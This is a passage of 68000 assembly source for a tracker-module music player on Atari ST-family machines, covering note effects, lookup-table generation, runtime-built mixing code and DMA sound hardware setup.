lsl.w #4,d0
move.w d0,mt_patternpos
clr.b mt_pbreakpos
clr.b mt_posjumpflag
addq.b #1,mt_songpos
and.b #$7f,mt_songpos
move.b mt_songpos(pc),d1
move.l mt_songdataptr(pc),a0
cmp.b 950(a0),d1
blo.s mt_nonewposyet
clr.b mt_songpos
mt_nonewposyet
tst.b mt_posjumpflag
bne.s mt_nextposition
movem.l (sp)+,d0-d4/a0-a6
rts
mt_checkefx
bsr mt_updatefunk
move.w n_cmd(a6),d0
and.w #$0fff,d0
beq.s mt_pernop
move.b n_cmd(a6),d0
and.b #$0f,d0
beq.s mt_arpeggio
cmp.b #1,d0
beq mt_portaup
cmp.b #2,d0
beq mt_portadown
cmp.b #3,d0
beq mt_toneportamento
cmp.b #4,d0
beq mt_vibrato
cmp.b #5,d0
beq mt_toneplusvolslide
cmp.b #6,d0
beq mt_vibratoplusvolslide
cmp.b #$e,d0
beq mt_e_commands
setback move.w n_period(a6),mt_period(a5)
cmp.b #7,d0
beq mt_tremolo
cmp.b #$a,d0
beq mt_volumeslide
mt_return2
rts
mt_pernop
move.w n_period(a6),mt_period(a5)
rts
mt_arpeggio
moveq #0,d0
move.b mt_counter(pc),d0
divs #3,d0
swap d0
cmp.w #0,d0
beq.s mt_arpeggio2
cmp.w #2,d0
beq.s mt_arpeggio1
moveq #0,d0
move.b n_cmdlo(a6),d0
lsr.b #4,d0
bra.s mt_arpeggio3
mt_arpeggio1
moveq #0,d0
move.b n_cmdlo(a6),d0
and.b #15,d0
bra.s mt_arpeggio3
mt_arpeggio2
move.w n_period(a6),d2
bra.s mt_arpeggio4
mt_arpeggio3
asl.w #1,d0
moveq #0,d1
move.b n_finetune(a6),d1
mulu #36*2,d1 ; opt hint: replace this mulu.w by shifts&adds
lea mt_periodtable(pc),a0 ; opt hint: use 030 addressing instead of
add.l d1,a0 ; this adda.l here
moveq #0,d1
move.w n_period(a6),d1
moveq #36,d7
mt_arploop
move.w (a0,d0.w),d2
cmp.w (a0),d1
bhs.s mt_arpeggio4
addq.l #2,a0
dbra d7,mt_arploop
rts
mt_arpeggio4 move.w d2,mt_period(a5)
rts
mt_fineportaup
tst.b mt_counter
bne.s mt_return2
move.b #$0f,mt_lowmask
mt_portaup
moveq #0,d0
move.b n_cmdlo(a6),d0
and.b mt_lowmask(pc),d0
move.b #$ff,mt_lowmask
sub.w d0,n_period(a6)
move.w n_period(a6),d0
and.w #$0fff,d0
cmp.w #113,d0
bpl.s mt_portauskip
and.w #$f000,n_period(a6)
or.w #113,n_period(a6)
mt_portauskip
move.w n_period(a6),d0
and.w #$0fff,d0
move.w d0,mt_period(a5)
rts
mt_fineportadown
tst.b mt_counter
bne mt_return2
move.b #$0f,mt_lowmask
mt_portadown
clr.w d0
move.b n_cmdlo(a6),d0
and.b mt_lowmask(pc),d0
move.b #$ff,mt_lowmask
add.w d0,n_period(a6)
move.w n_period(a6),d0
and.w #$0fff,d0
cmp.w #856,d0
bmi.s mt_portadskip
and.w #$f000,n_period(a6)
or.w #856,n_period(a6)
mt_portadskip
move.w n_period(a6),d0
and.w #$0fff,d0
move.w d0,mt_period(a5)
rts
mt_settoneporta
move.l a0,-(sp)
move.w (a6),d2
and.w #$0fff,d2
moveq #0,d0
move.b n_finetune(a6),d0
mulu #37*2,d0
lea mt_periodtable(pc),a0 ; opt hint: use 030 addressing instead of
add.l d0,a0 ; this adda.l here
moveq #0,d0
mt_stploop
cmp.w (a0,d0.w),d2
bhs.s mt_stpfound
addq.w #2,d0
cmp.w #37*2,d0
blo.s mt_stploop
moveq #35*2,d0
mt_stpfound
move.b n_finetune(a6),d2
and.b #8,d2
beq.s mt_stpgoss
tst.w d0
beq.s mt_stpgoss
subq.w #2,d0
mt_stpgoss
move.w (a0,d0.w),d2
move.l (sp)+,a0
move.w d2,n_wantedperiod(a6)
move.w n_period(a6),d0
clr.b n_toneportdirec(a6)
cmp.w d0,d2
beq.s mt_cleartoneporta
bge mt_return2
move.b #1,n_toneportdirec(a6)
rts
mt_cleartoneporta
clr.w n_wantedperiod(a6)
rts
mt_toneportamento
move.b n_cmdlo(a6),d0
beq.s mt_toneportnochange
move.b d0,n_toneportspeed(a6)
clr.b n_cmdlo(a6)
mt_toneportnochange
tst.w n_wantedperiod(a6)
beq mt_return2
moveq #0,d0
move.b n_toneportspeed(a6),d0
tst.b n_toneportdirec(a6)
bne.s mt_toneportaup
mt_toneportadown
add.w d0,n_period(a6)
move.w n_wantedperiod(a6),d0
cmp.w n_period(a6),d0
bgt.s mt_toneportasetper
move.w n_wantedperiod(a6),n_period(a6)
clr.w n_wantedperiod(a6)
bra.s mt_toneportasetper
mt_toneportaup
sub.w d0,n_period(a6)
move.w n_wantedperiod(a6),d0
cmp.w n_period(a6),d0
blt.s mt_toneportasetper
move.w n_wantedperiod(a6),n_period(a6)
clr.w n_wantedperiod(a6)
mt_toneportasetper
move.w n_period(a6),d2
move.b n_glissfunk(a6),d0
and.b #$0f,d0
beq.s mt_glissskip
moveq #0,d0
move.b n_finetune(a6),d0
mulu #36*2,d0 ; same as above
lea mt_periodtable(pc),a0 ; " "
add.l d0,a0
moveq #0,d0
mt_glissloop
cmp.w (a0,d0.w),d2
bhs.s mt_glissfound
addq.w #2,d0
cmp.w #36*2,d0
blo.s mt_glissloop
moveq #35*2,d0
mt_glissfound
move.w (a0,d0.w),d2
mt_glissskip
move.w d2,mt_period(a5) ; set period
rts
mt_vibrato
move.b n_cmdlo(a6),d0
beq.s mt_vibrato2
move.b n_vibratocmd(a6),d2
and.b #$0f,d0
beq.s mt_vibskip
and.b #$f0,d2
or.b d0,d2
mt_vibskip
move.b n_cmdlo(a6),d0
and.b #$f0,d0
beq.s mt_vibskip2
and.b #$0f,d2
or.b d0,d2
mt_vibskip2
move.b d2,n_vibratocmd(a6)
mt_vibrato2
move.b n_vibratopos(a6),d0
lea mt_vibratotable(pc),a4
lsr.w #2,d0
and.w #$001f,d0
moveq #0,d2
move.b n_wavecontrol(a6),d2
and.b #$03,d2
beq.s mt_vib_sine
lsl.b #3,d0
cmp.b #1,d2
beq.s mt_vib_rampdown
move.b #255,d2
bra.s mt_vib_set
mt_vib_rampdown
tst.b n_vibratopos(a6)
bpl.s mt_vib_rampdown2
move.b #255,d2
sub.b d0,d2
bra.s mt_vib_set
mt_vib_rampdown2
move.b d0,d2
bra.s mt_vib_set
mt_vib_sine
move.b 0(a4,d0.w),d2
mt_vib_set
move.b n_vibratocmd(a6),d0
and.w #15,d0
mulu d0,d2
lsr.w #7,d2
move.w n_period(a6),d0
tst.b n_vibratopos(a6)
bmi.s mt_vibratoneg
add.w d2,d0
bra.s mt_vibrato3
mt_vibratoneg
sub.w d2,d0
mt_vibrato3
move.w d0,mt_period(a5)
move.b n_vibratocmd(a6),d0
lsr.w #2,d0
and.w #$003c,d0
add.b d0,n_vibratopos(a6)
rts
mt_toneplusvolslide
bsr mt_toneportnochange
bra mt_volumeslide
mt_vibratoplusvolslide
bsr.s mt_vibrato2
bra mt_volumeslide
mt_tremolo
move.b n_cmdlo(a6),d0
beq.s mt_tremolo2
move.b n_tremolocmd(a6),d2
and.b #$0f,d0
beq.s mt_treskip
and.b #$f0,d2
or.b d0,d2
mt_treskip
move.b n_cmdlo(a6),d0
and.b #$f0,d0
beq.s mt_treskip2
and.b #$0f,d2
or.b d0,d2
mt_treskip2
move.b d2,n_tremolocmd(a6)
mt_tremolo2
move.b n_tremolopos(a6),d0
lea mt_vibratotable(pc),a4
lsr.w #2,d0
and.w #$001f,d0
moveq #0,d2
move.b n_wavecontrol(a6),d2
lsr.b #4,d2
and.b #$03,d2
beq.s mt_tre_sine
lsl.b #3,d0
cmp.b #1,d2
beq.s mt_tre_rampdown
move.b #255,d2
bra.s mt_tre_set
mt_tre_rampdown
tst.b n_vibratopos(a6)
bpl.s mt_tre_rampdown2
move.b #255,d2
sub.b d0,d2
bra.s mt_tre_set
mt_tre_rampdown2
move.b d0,d2
bra.s mt_tre_set
mt_tre_sine
move.b 0(a4,d0.w),d2
mt_tre_set
move.b n_tremolocmd(a6),d0
and.w #15,d0
mulu d0,d2
lsr.w #6,d2
moveq #0,d0
move.b n_volume(a6),d0
tst.b n_tremolopos(a6)
bmi.s mt_tremoloneg
add.w d2,d0
bra.s mt_tremolo3
mt_tremoloneg
sub.w d2,d0
mt_tremolo3
bpl.s mt_tremoloskip
clr.w d0
mt_tremoloskip
cmp.w #$40,d0
bls.s mt_tremolook
move.w #$40,d0
mt_tremolook
move.w d0,mt_volume(a5)
move.b n_tremolocmd(a6),d0
lsr.w #2,d0
and.w #$003c,d0
add.b d0,n_tremolopos(a6)
rts
mt_sampleoffset
moveq #0,d0
move.b n_cmdlo(a6),d0
beq.s mt_sononew
move.b d0,n_sampleoffset(a6)
mt_sononew
move.b n_sampleoffset(a6),d0
lsl.w #7,d0
cmp.w n_length(a6),d0
bge.s mt_sofskip
sub.w d0,n_length(a6)
lsl.w #1,d0
add.l d0,n_start(a6)
add.l n_loopstart(a6),d0
cmp.l n_start(a6),d0
ble.s .mt_set_loop
move.l n_loopstart(a6),d0
.mt_set_loop move.l d0,n_loopstart(a6)
rts
mt_sofskip move.w #$0001,n_length(a6)
rts
mt_volumeslide
moveq #0,d0
move.b n_cmdlo(a6),d0
lsr.b #4,d0
tst.b d0
beq.s mt_volslidedown
mt_volslideup
add.b d0,n_volume(a6)
cmp.b #$40,n_volume(a6)
bmi.s mt_vsuskip
move.b #$40,n_volume(a6)
mt_vsuskip
move.b n_volume(a6),d0
move.w d0,mt_volume(a5)
rts
mt_volslidedown
moveq #0,d0
move.b n_cmdlo(a6),d0
and.b #$0f,d0
mt_volslidedown2
sub.b d0,n_volume(a6)
bpl.s mt_vsdskip
clr.b n_volume(a6)
mt_vsdskip
move.b n_volume(a6),d0
move.w d0,mt_volume(a5)
rts
mt_positionjump
move.b n_cmdlo(a6),d0
subq.b #1,d0
move.b d0,mt_songpos
mt_pj2 clr.b mt_pbreakpos
st mt_posjumpflag
rts
mt_volumechange
moveq #0,d0
move.b n_cmdlo(a6),d0
cmp.b #$40,d0
bls.s mt_volumeok
moveq #$40,d0
mt_volumeok
move.b d0,n_volume(a6)
move.w d0,mt_volume(a5)
rts
mt_patternbreak
moveq #0,d0
move.b n_cmdlo(a6),d0
move.l d0,d2
lsr.b #4,d0
mulu #10,d0
and.b #$0f,d2
add.b d2,d0
cmp.b #63,d0
bhi.s mt_pj2
move.b d0,mt_pbreakpos
st mt_posjumpflag
rts
mt_setspeed
move.b 3(a6),d0
beq mt_return2
clr.b mt_counter
move.b d0,mt_speed
rts
mt_checkmoreefx
bsr mt_updatefunk
move.b 2(a6),d0
and.b #$0f,d0
cmp.b #$9,d0
beq mt_sampleoffset
cmp.b #$b,d0
beq mt_positionjump
cmp.b #$d,d0
beq.s mt_patternbreak
cmp.b #$e,d0
beq.s mt_e_commands
cmp.b #$f,d0
beq.s mt_setspeed
cmp.b #$c,d0
beq mt_volumechange
bra mt_pernop
mt_e_commands
move.b n_cmdlo(a6),d0
;;and.b #$f0,d0 ; unnecessary
lsr.b #4,d0
beq.s mt_filteronoff ; opt hint: use a jump table
cmp.b #1,d0
beq mt_fineportaup
cmp.b #2,d0
beq mt_fineportadown
cmp.b #3,d0
beq.s mt_setglisscontrol
cmp.b #4,d0
beq.s mt_setvibratocontrol
cmp.b #5,d0
beq.s mt_setfinetune
cmp.b #6,d0
beq.s mt_jumploop
cmp.b #7,d0
beq mt_settremolocontrol
cmp.b #9,d0
beq mt_retrignote
cmp.b #$a,d0
beq mt_volumefineup
cmp.b #$b,d0
beq mt_volumefinedown
cmp.b #$c,d0
beq mt_notecut
cmp.b #$d,d0
beq mt_notedelay
cmp.b #$e,d0
beq mt_patterndelay
cmp.b #$f,d0
beq mt_funkit
rts
mt_filteronoff rts
mt_setglisscontrol
move.b n_cmdlo(a6),d0
and.b #$0f,d0
and.b #$f0,n_glissfunk(a6)
or.b d0,n_glissfunk(a6)
rts
mt_setvibratocontrol
move.b n_cmdlo(a6),d0
and.b #$0f,d0
and.b #$f0,n_wavecontrol(a6)
or.b d0,n_wavecontrol(a6)
rts
mt_setfinetune
move.b n_cmdlo(a6),d0
and.b #$0f,d0
move.b d0,n_finetune(a6)
rts
mt_jumploop
tst.b mt_counter
bne mt_return2
move.b n_cmdlo(a6),d0
and.b #$0f,d0
beq.s mt_setloop
tst.b n_loopcount(a6)
beq.s mt_jumpcnt
subq.b #1,n_loopcount(a6)
beq mt_return2
mt_jmploop move.b n_pattpos(a6),mt_pbreakpos
st mt_pbreakflag
rts
mt_jumpcnt
move.b d0,n_loopcount(a6)
bra.s mt_jmploop
mt_setloop
move.w mt_patternpos(pc),d0
lsr.w #4,d0
move.b d0,n_pattpos(a6)
rts
mt_settremolocontrol
move.b n_cmdlo(a6),d0
and.b #$0f,d0
lsl.b #4,d0
and.b #$0f,n_wavecontrol(a6)
or.b d0,n_wavecontrol(a6)
rts
mt_retrignote move.l d1,-(sp)
moveq #0,d0
move.b n_cmdlo(a6),d0
and.b #$0f,d0
beq.s mt_rtnend
moveq #0,d1
move.b mt_counter(pc),d1
bne.s mt_rtnskp
move.w (a6),d1
and.w #$0fff,d1
bne.s mt_rtnend
moveq #0,d1
move.b mt_counter(pc),d1
mt_rtnskp divu d0,d1
swap d1
tst.w d1
bne.s mt_rtnend
mt_doretrig move.l n_start(a6),mt_sample_point(a5) ; set sampledata pointer
moveq #0,d0
move.w n_length(a6),d0 ; set length
add.l d0,d0
add.l mt_sample_point(a5),d0
move.l d0,mt_sample_end(a5)
move.l n_loopstart(a6),d0
cmp.l mt_sample_point(a5),d0
bne.s .mt_set_loop
moveq #0,d0
.mt_set_loop move.l d0,mt_loop_start(a5)
mt_rtnend move.l (sp)+,d1
rts
mt_volumefineup
tst.b mt_counter
bne mt_return2
moveq #0,d0
move.b n_cmdlo(a6),d0
and.b #$f,d0
bra mt_volslideup
mt_volumefinedown
tst.b mt_counter
bne mt_return2
moveq #0,d0
move.b n_cmdlo(a6),d0
and.b #$0f,d0
bra mt_volslidedown2
mt_notecut
moveq #0,d0
move.b n_cmdlo(a6),d0
and.b #$0f,d0
cmp.b mt_counter(pc),d0
bne mt_return2
clr.b n_volume(a6)
move.w #0,mt_volume(a5)
rts
mt_notedelay
moveq #0,d0
move.b n_cmdlo(a6),d0
and.b #$0f,d0
cmp.b mt_counter,d0
bne mt_return2
move.w (a6),d0
beq mt_return2
move.l d1,-(sp)
bra mt_doretrig
mt_patterndelay
tst.b mt_counter
bne mt_return2
moveq #0,d0
move.b n_cmdlo(a6),d0
and.b #$0f,d0
tst.b mt_pattdeltime2
bne mt_return2
addq.b #1,d0
move.b d0,mt_pattdeltime
rts
mt_funkit
tst.b mt_counter
bne mt_return2
move.b n_cmdlo(a6),d0
and.b #$0f,d0
lsl.b #4,d0
and.b #$0f,n_glissfunk(a6)
or.b d0,n_glissfunk(a6)
tst.b d0
beq mt_return2
mt_updatefunk
movem.l a0/d1,-(sp)
moveq #0,d0
move.b n_glissfunk(a6),d0
lsr.b #4,d0
beq.s mt_funkend
lea mt_funktable(pc),a0
move.b (a0,d0.w),d0
add.b d0,n_funkoffset(a6)
btst #7,n_funkoffset(a6)
beq.s mt_funkend
clr.b n_funkoffset(a6)
move.l n_loopstart(a6),d0
moveq #0,d1
move.w n_replen(a6),d1
add.l d1,d0
add.l d1,d0
move.l n_wavestart(a6),a0
addq.l #1,a0
cmp.l d0,a0
blo.s mt_funkok
move.l n_loopstart(a6),a0
mt_funkok
move.l a0,n_wavestart(a6)
moveq #-1,d0
sub.b (a0),d0
move.b d0,(a0)
mt_funkend
movem.l (sp)+,a0/d1
rts
mt_init_Paula
bsr.s mt_make_freq
bsr mt_make_tables
bsr mt_make_frame_f
bsr mt_make_voltab
bsr mt_make_divtab
bsr mt_make_mixcode
.mt_init_trap0 lea mt_save_trap0,a0
move.l $80.w,(a0)
lea mt_return_Paula,a0
move.l a0,$80.w
rts
mt_make_freq move.l mt_freq_list,a0
moveq #3,d0
.mt_maker move.l d0,d1
swap d1
divu.w #40,d1
move.w d1,d2
swap d1
cmp.w #20,d1
blt.s .mt_no_round
addq.w #1,d2
.mt_no_round
moveq #0,d1
moveq #0,d3
moveq #0,d4
moveq #0,d5
moveq #39,d7
.mt_make_freq add.w d2,d1
negx.w d4
neg.w d4
move.w d4,d5
move.w d1,d6
add.w d6,d6
negx.w d5
neg.w d5
cmp.w d3,d5
ble.s .mt_set_zero
move.w d5,d3
moveq #1,d5
move.w d5,(a0)+
dbra d7,.mt_make_freq
addq.w #1,d0
cmp.w #26,d0
bne.s .mt_maker
rts
.mt_set_zero moveq #0,d5
move.w d5,(a0)+
dbra d7,.mt_make_freq
addq.w #1,d0
cmp.w #26,d0
bne.s .mt_maker
rts
mt_make_tables move.l mt_freq_table,a0
moveq #$72-1,d7
move.l #$02260000,d0
.mt_make_first move.l d0,(a0)+
dbra d7,.mt_make_first
moveq #$72,d0
.mt_maker move.l mt_amiga_freq,d1
move.w d0,d2
add.w d2,d2
divu.w d2,d1
moveq #0,d2
moveq #0,d3
move.w d1,d2
swap d1
cmp.w d0,d1
blt.s .mt_no_round
addq.w #1,d2
.mt_no_round divu #50,d2
move.w d2,d1
clr.w d2
divu.w #50,d2
move.l d2,d3
swap d3
cmp.w #50/2,d3
blt.s .mt_no_round1
addq.w #1,d2
.mt_no_round1 sub.w #75,d1
bpl.s .mt_no_zero
moveq #0,d1
moveq #0,d2
.mt_no_zero move.w d1,(a0)+
move.w d2,(a0)+
addq.w #1,d0
cmp.w #$400,d0
bne.s .mt_maker
rts
mt_make_frame_f move.l mt_frame_freq_t,a0
move.l mt_frame_freq_p,a1
moveq #75,d0
.mt_maker move.l d0,d1
divu.w #25,d1
moveq #0,d3
move.w d1,d2
subq.w #3,d2
clr.w d1
divu.w #25,d1
move.w d1,d3
addq.w #1,d3
.mt_no_round move.l a0,(a1)+
moveq #0,d4
moveq #24,d7
moveq #0,d1
.mt_make_it moveq #0,d1
add.w d3,d4
addx.w d2,d1
move.w d1,d5
mulu.w #23<<7,d5
add.w d1,d1
add.w d1,d1
or.w d1,d5
move.w d5,(a0)+
dbra d7,.mt_make_it
addq.w #1,d0
cmp.w #626,d0
bne.s .mt_maker
rts
mt_make_voltab lea mt_volume_tab,a0
move.l (a0),d0
andi.w #$ff00,d0
add.l #$100,d0
move.l d0,(a0)
move.l d0,a0
moveq #0,d0
moveq #0,d1
moveq #0,d3
.mt_clop0 move.w d1,d2
ext.w d2
muls.w d0,d2
asr.w #6,d2
move.b d2,(a0)+
addq.w #1,d1
cmp.w #$40,d1
bne.s .mt_clop0
lea $80(a0),a0
move.w #$c0,d1
.mt_clop1 move.w d1,d2
ext.w d2
muls.w d0,d2
asr.w #6,d2
move.b d2,(a0)+
addq.w #1,d1
cmp.w #$100,d1
bne.s .mt_clop1
moveq #0,d1
addq.w #1,d0
cmp.w #$41,d0
bne.s .mt_clop0
rts
mt_make_divtab moveq #1,d0
moveq #1,d1
move.l mt_div_table,a0
.mt_init_div move.l d1,d2
asl.w #6,d2
move.w d0,d3
divu.w d0,d2
lsr.w #1,d3
negx.w d3
neg.w d3
move.w d2,d4
swap d2
cmp.w d3,d2
blt.s .mt_no_round
addq.w #1,d4
.mt_no_round move.w d4,(a0)+
addq.w #1,d0
cmp.w #$41,d0
bne.s .mt_init_div
moveq #1,d0
addq.w #1,d1
cmp.w #$41,d1
bne.s .mt_init_div
rts
mt_make_mixcode move.l mt_mixcode_p,a0
move.l mt_mixer_chunk,a1
move.l mt_freq_list,a2
lea (a2),a4
moveq #22,d7
moveq #22,d6
.mt_maker move.l a1,(a0)+
lea (a2),a3
moveq #40-1,d5
.mt_make_it move.w .mt_copy,(a1)+
move.w (a3)+,d0
move.w (a4)+,d1
add.w d1,d1
or.w d1,d0
dbne d5,.mt_make_it
tst.w d5
beq.s .mt_end_ops
bpl.s .mt_no_exit
.mt_make_end move.w #$4ed6,(a1)+
dbra d6,.mt_maker
moveq #22,d6
lea 80(a2),a2
move.l mt_freq_list,a4
dbra d7,.mt_maker
rts
.mt_no_exit
move.l a3,-(sp)
move.l a4,-(sp)
move.w d5,d4
subq.w #1,d4
.mt_analyse move.w (a3)+,d1
move.w (a4)+,d2
add.w d2,d2
or.w d2,d1
add.w d1,d1 ; opt hint: use scaled 030 indexing
add.w d1,d1
move.l .mt_ana_code(pc,d1.w),a6
jsr (a6)
dbra d4,.mt_analyse
move.l (sp)+,a4
move.l (sp)+,a3
tst.w d1
dbeq d5,.mt_make_it
bra.s .mt_end_ops
.mt_ana_code dc.l .mt_ana_code0
dc.l .mt_ana_code1
dc.l .mt_ana_code2
dc.l .mt_ana_code3
.mt_end_ops cmp.w #3,d0
beq.s .mt_ana_code03
cmp.w #2,d0
beq.s .mt_ana_code02
.mt_ana_code01 lea .mt_copy,a6
move.w .mt_copy2,(a6)
move.w .mt_ch0_fetch,(a1)+
move.l .mt_add012,(a1)+
dbra d5,.mt_make_it
move.w #$4ed6,(a1)+
dbra d6,.mt_maker
moveq #22,d6
lea 80(a2),a2
move.l mt_freq_list,a4
dbra d7,.mt_maker
rts
.mt_ana_code02 lea .mt_copy,a6
move.w .mt_copy2,(a6)
move.w .mt_ch1_fetch,(a1)+
move.l .mt_ch1_fetch+2,(a1)+
move.l .mt_add012,(a1)+
dbra d5,.mt_make_it
move.w #$4ed6,(a1)+
dbra d6,.mt_maker
moveq #22,d6
lea 80(a2),a2
move.l mt_freq_list,a4
dbra d7,.mt_maker
rts
.mt_ana_code03 lea .mt_copy,a6
move.w .mt_copy2,(a6)
move.l .mt_ch01fetadd1,(a1)+
move.l .mt_ch01fetadd1+4,(a1)+
move.l .mt_add012,(a1)+
dbra d5,.mt_make_it
move.w #$4ed6,(a1)+
dbra d6,.mt_maker
moveq #22,d6
lea 80(a2),a2
move.l mt_freq_list,a4
dbra d7,.mt_maker
rts
.mt_ana_code0 rts
.mt_ana_code1 cmp.w #3,d0
beq.s .mt_ana_code13
cmp.w #2,d0
beq.s .mt_ana_code12
.mt_ana_code11 moveq #0,d4
moveq #1,d1
lea .mt_copy,a6
move.w .mt_copy0,(a6)
move.w .mt_ch0_fetch,(a1)+
move.w .mt_add10,(a1)+
rts
.mt_ana_code12 moveq #0,d4
moveq #1,d1
lea .mt_copy,a6
move.w .mt_copy0,(a6)
move.w .mt_ch1_fetch,(a1)+
move.l .mt_ch1_fetch+2,(a1)+
move.w .mt_add10,(a1)+
rts
.mt_ana_code13 moveq #0,d4
moveq #1,d1
lea .mt_copy,a6
move.w .mt_copy0,(a6)
move.l .mt_ch01fetadd1,(a1)+
move.l .mt_ch01fetadd1+4,(a1)+
move.w .mt_add10,(a1)+
rts
.mt_ana_code2 cmp.w #3,d0
beq.s .mt_ana_code23
cmp.w #2,d0
beq.s .mt_ana_code22
.mt_ana_code21 moveq #0,d4
moveq #1,d1
lea .mt_copy,a6
move.w .mt_copy1,(a6)
move.w .mt_ch0_fetch,(a1)+
move.w .mt_add01,(a1)+
rts
.mt_ana_code22 moveq #0,d4
moveq #1,d1
lea .mt_copy,a6
move.w .mt_copy1,(a6)
move.w .mt_ch1_fetch,(a1)+
move.l .mt_ch1_fetch+2,(a1)+
move.w .mt_add01,(a1)+
rts
rts
.mt_ana_code23 moveq #0,d4
moveq #1,d1
lea .mt_copy,a6
move.w .mt_copy1,(a6)
move.l .mt_ch01fetadd1,(a1)+
move.l .mt_ch01fetadd1+4,(a1)+
move.w .mt_add01,(a1)+
rts
.mt_ana_code3 cmp.w #3,d0
beq.s .mt_ana_code33
cmp.w #2,d0
beq.s .mt_ana_code32
.mt_ama_code31 moveq #0,d4
moveq #1,d1
lea .mt_copy,a6
move.w .mt_copy1,(a6)
move.w .mt_ch0_fet_add,(a1)+
rts
.mt_ana_code32 moveq #0,d4
moveq #1,d1
lea .mt_copy,a6
move.w .mt_copy0,(a6)
move.w .mt_ch1_fet_add,(a1)+
move.l .mt_ch1_fet_add+2,(a1)+
rts
.mt_ana_code33 moveq #0,d4
moveq #1,d1
lea .mt_copy,a6
move.w .mt_copy0,(a6)
move.l .mt_ch01fetadd0,(a1)+
move.l .mt_ch01fetadd0+4,(a1)+
rts
.mt_copy move.b d2,(sp)+
.mt_copy0 move.b d0,(sp)+
.mt_copy1 move.b d1,(sp)+
.mt_copy2 move.b d2,(sp)+
.mt_ch0_fetch move.b (a0)+,d0
.mt_ch0_fet_add add.b (a0)+,d1
.mt_ch1_fetch move.b (a1)+,d1
move.l d1,a2
move.b (a2),d1
.mt_ch1_fet_add move.b (a1)+,d1
move.l d1,a2
add.b (a2),d0
.mt_ch01fetadd0 move.b (a0)+,d0
move.b (a1)+,d1
move.l d1,a2
add.b (a2),d0
.mt_ch01fetadd1 move.b (a0)+,d0
move.b (a1)+,d1
move.l d1,a2
move.b (a2),d1
.mt_add01 add.b d0,d1
.mt_add10 add.b d1,d0
.mt_add012 move.b d0,d2
add.b d1,d2
mt_stop_Paula move.l mt_save_trap0,$80.w
move.w mt_LCM_mask,d0
move.w mt_LCM_left,d1
or.w #20,d1
bsr.s .mt_set_LCM
move.w mt_LCM_right,d1
or.w #20,d1
mt_end = mt_stop_Paula
.mt_set_LCM lea $ffff8900.w,a6
move.w d0,$24(a6)
move.w d1,$22(a6)
rept 16
nop
endr
.mt_LCM_loop cmp.w $24(a6),d0
bne.s .mt_LCM_loop
rts
mt_Paula lea $ffff8900.w,a6
move.l mt_LCM_set,a0
ifeq machine ; TT030 fix by ray//.tSCc. 2k3
jmp (a0)
else
move.l sp,mt_save_SP
jsr (a0)
endc
mt_return_Paula
lea mt_physic_buf,a0
lea mt_logic_buf,a1
move.l (a0),d0
move.l (a1),(a0)
move.l d0,(a1)
ifeq machine
move.l mt_save_SSP(pc),sp
else
move.l mt_save_SP(pc),sp
endc
rts
rsreset
mt_temp_regs rs.l 2
mt_temp_old_sam rs.w 2
mt_channel macro
move.l (a3),d0
bne.s .mt_v0_active
lea mt_dummy_tab,a3
.mt_v0_active move.l (a4),d0
bne.s .mt_v1_active
lea mt_dummy_tab,a4
.mt_v1_active move.w mt_volume(a3),d0
cmp.w mt_volume(a4),d0
bge.s .mt_no_swap
exg a3,a4
.mt_no_swap move.w mt_volume(a3),d0
moveq #0,d1
move.w d0,(a1)
beq.s .mt_set_zero
move.w mt_volume(a4),d1
beq.s .mt_set_zero
subq.w #1,d0
subq.w #1,d1
andi.w #$3f,d0
andi.w #$3f,d1
asl.w #6,d1
or.w d0,d1
add.w d1,d1 ; opt hint: use the scaled 030 addressing mode
move.l mt_div_table,a1 ; here instead
move.w (a1,d1.w),d1
.mt_set_zero move.l mt_volume_tab,a1
asl.w #8,d1
add.l a1,d1
move.l mt_sample_point(a3),a0
move.l mt_sample_point(a4),a1
lea mt_temp_old_sam(a6),a2
move.b (a2)+,d0
move.b (a2)+,d1
move.b (a2)+,d2
move.w mt_period(a3),d3
move.l mt_freq_table,a2
add.w d3,d3 ; same here
add.w d3,d3
move.l (a2,d3.w),d3
move.w d3,d4
swap d3
add.w mt_add_iw(a3),d4
negx.w d3
neg.w d3
move.w d4,mt_add_iw(a3)
move.w mt_period(a4),d4
add.w d4,d4
add.w d4,d4
move.l (a2,d4.w),d4
move.w d4,d5
swap d4
add.w mt_add_iw(a4),d5
negx.w d4
neg.w d4
move.w d5,mt_add_iw(a4)
move.l mt_frame_freq_p,a2
add.w d3,d3 ; same here
add.w d3,d3
move.l (a2,d3.w),d3
add.w d4,d4 ; same here
add.w d4,d4
move.l (a2,d4.w),d4
move.l a3,(a6)+
move.l a4,(a6)+
move.l d3,a3
move.l d4,a4
move.l mt_mixcode_p,a5
moveq #$1f<<2,d5
move.w #$1ff<<7,d6
move.l a6,d7
lea .mt_return,a6
move.w (a3)+,d3
move.w (a4)+,d4
and.w d5,d4
and.w d6,d3
lsr.w #5,d3
add.w d3,d4
move.l (a5,d4.w),a2
jmp (a2)
.mt_return
rept 24
lea $16(a6),a6
move.w (a3)+,d3
move.w (a4)+,d4
and.w d5,d4
and.w d6,d3
lsr.w #5,d3
add.w d3,d4
move.l (a5,d4.w),a2
jmp (a2)
endr
move.l d7,a6
move.l -(a6),a4
move.l -(a6),a3
lea mt_temp_old_sam(a6),a2
move.b d0,(a2)+
move.b d1,(a2)+
move.b d2,(a2)+
move.l a0,mt_sample_point(a3)
cmp.l mt_sample_end(a3),a0
blt.s .mt_no_end_v0
move.l mt_loop_start(a3),d0
beq.s .mt_no_loop_v0
move.l a0,d1
sub.l mt_sample_end(a3),d1
neg.l d0
add.l mt_sample_end(a3),d0
divu d0,d1
clr.w d1
swap d1
add.l mt_loop_start(a3),d1
move.l d1,mt_sample_point(a3)
bra.s .mt_no_end_v0
.mt_no_loop_v0 move.w mt_check_dummy(a3),d2
bne.s .mt_no_end_v0
moveq #0,d2
move.l d2,(a3)+
move.l d2,(a3)+
move.l d2,(a3)+
move.l d2,(a3)+
move.l d2,(a3)+
.mt_no_end_v0
move.l a1,mt_sample_point(a4)
cmp.l mt_sample_end(a4),a1
blt.s .mt_no_end_v1
move.l mt_loop_start(a4),d0
beq.s .mt_no_loop_v1
move.l a1,d1
sub.l mt_sample_end(a4),d1
neg.l d0
add.l mt_sample_end(a4),d0
divu d0,d1
clr.w d1
swap d1
add.l mt_loop_start(a4),d1
move.l d1,mt_sample_point(a4)
bra.s .mt_no_end_v1
.mt_no_loop_v1 move.w mt_check_dummy(a4),d2
bne.s .mt_no_end_v1
moveq #0,d2
move.l d2,(a4)+
move.l d2,(a4)+
move.l d2,(a4)+
move.l d2,(a4)+
move.l d2,(a4)+
.mt_no_end_v1 lea mt_dummy_tab,a3
move.l 4(a3),(a3)
endm
